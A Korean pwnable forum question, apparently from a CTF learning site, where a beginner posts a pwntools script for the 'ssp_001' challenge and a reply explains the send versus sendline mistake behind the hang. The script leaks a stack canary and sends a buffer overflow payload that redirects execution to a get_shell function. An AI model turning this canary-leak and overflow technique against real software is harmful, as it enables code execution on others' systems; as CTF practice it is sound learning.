"Name :" 을 왜 못 받아오는 걸까요 ㅠㅠ
# File Name: test.py

from pwn import *
from struct import pack

context.log_level = 'debug'

# HOST = 'host3.dreamhack.games'
# PORT = 20661

#p = remote(HOST, PORT)
p = process("./ssp_001")
get_shell = 0x80486b9

# canary find
cnry = b''
for i in range(4):
        p.sendafter(b"> ", b"P")
        p.recvuntil(b"Element index : ")
        p.sendline(str(128 + i))
        p.recvuntil(b"is : ")

        cnry += p.recvn(2)

cnry = int(cnry, 16)
print(cnry)
cnry = pack("<i", cnry)

# Payload Write
payload = b'A'*64
payload += cnry
payload += b"B"*4
payload += b"C"*4
payload += p32(get_shell)

# Exploit
p.sendafter(b"> ", b"E")
p.sendafter(b": ", b"100")
p.recvuntil(b": ")
p.send(payload)

p.interactive

test.py 실행 후 전체 사진

질문 : "Name size: " 수신 받고 100 바이트 문자열로 보내면 다음 응답을 못 받아오고 멈추네요.
다음 받아야 할 문자가 "Name : " 이니깐,
recvuntil(": ")
recvuntil("Name : ")
sendafter("Name : ", payload) 등..
다른 걸로 바꿔서 넣어봐도 그대로에요.

초보라 뭘 놓치고 있는 건지 모르겠네요
뭐가 문제인지 아시는 분은 알려주세요 ㅠㅠ

#pwnable
작성자 정보
답변 2
avatar
wyv3rn
무플 방지 위원회장

혹시 size를 sendline이 아닌 send로 보내신건 아닌가요?

2023.07.13. 09:18
avatar
wyv3rn
무플 방지 위원회장

바이너리가 값을 scanf로 받을때는 sendline
read로 받을때는 send 또는 sendline으로 보내야 그 값이 전달됩니다.

위 상황은 바이너리가 scanf로 값을 받는데 send로 값을 보내서 아직 입력 완료를 인식하지 못했는데 recv로 값을 받으려고해서 그런 것 같아보이는 느낌적인 느낌입니다

2023.07.13. 09:20
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기